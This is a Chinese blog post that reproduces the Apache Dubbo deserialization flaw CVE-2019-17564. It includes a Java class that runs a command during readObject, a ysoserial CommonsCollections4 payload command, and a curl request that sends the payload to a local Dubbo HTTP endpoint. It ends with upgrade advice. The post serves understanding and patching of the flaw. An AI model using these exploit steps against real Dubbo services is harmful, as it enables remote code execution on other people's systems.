vlambda博客
学习文章列表

有关Apache dubbo反序列化漏洞的复现及思考

有关Apache dubbo反序列化漏洞(CVE-2019-17564)网上有许多漏洞复现文章,官方漏洞描述也说的很清楚,开启了http remoting协议时,存在反序列化漏洞。本身有关java的漏洞,反序列化占了很大一部分。大概流程就是应用程序在反序列化时执行了恶意代码导致RCE(remote command/code execute)。

先来看一个自定义对象反序列化引发RCE的示例:

public class SerialDemo {
  public static void main(String[] args) throws Exception{
    FileOutputStream fileInputStream = new FileOutputStream("D://Bird.obj");
    ObjectOutputStream oos= new ObjectOutputStream(fileInputStream);
    oos.writeObject(new Bird());
    oos.close();
    FileInputStream fileInputStream1 = new FileInputStream("D://Bird.obj");
    ObjectInputStream ois = new ObjectInputStream(fileInputStream1);
    ois.readObject();
    ois.close();
  }
}
class Bird implements Serializable {
  private final void readObject(ObjectInputStream in) throws Exception{
    Runtime.getRuntime().exec("calc.exe");
  }
}

在Bird类中声明了readObject方法,反序列化时会通过反射调用这个方法导致RCE,dubbo反序列化漏洞类似,但调用链远比这个要复杂。

----

下面使用dubbo http示例复现一下反序列化漏洞,通过Ysoserial生成利用反序列化漏洞payload,基于CommonsCollections4类库的gadget,注意版本使用的4.0,大于4.0没有此漏洞。

<dependency>
<
groupId>org.apache.commons</groupId>
<
artifactId>commons-collections4</artifactId>
<
version>4.0</version>
</
dependency>

java -jar ysoserial-xxx.jar CommonsCollections4 "calc" > payload
curl --data-binary @payload
http://127.0.0.1:8080/org.apache.dubbo.samples.http.api.DemoService

----

有漏洞当然要升级了,针对此漏洞首先要确定是否使用了dubbo http,如果使用的是rest服务(基于resteasy)不受此漏洞影响。

dubbo作为一个rpc框架,通常都是内网应用,如果需要对外提供服务可以前置http网关接口,个人觉得没有必要给dubbo开放http接口。各位读者朋友如何看待呢?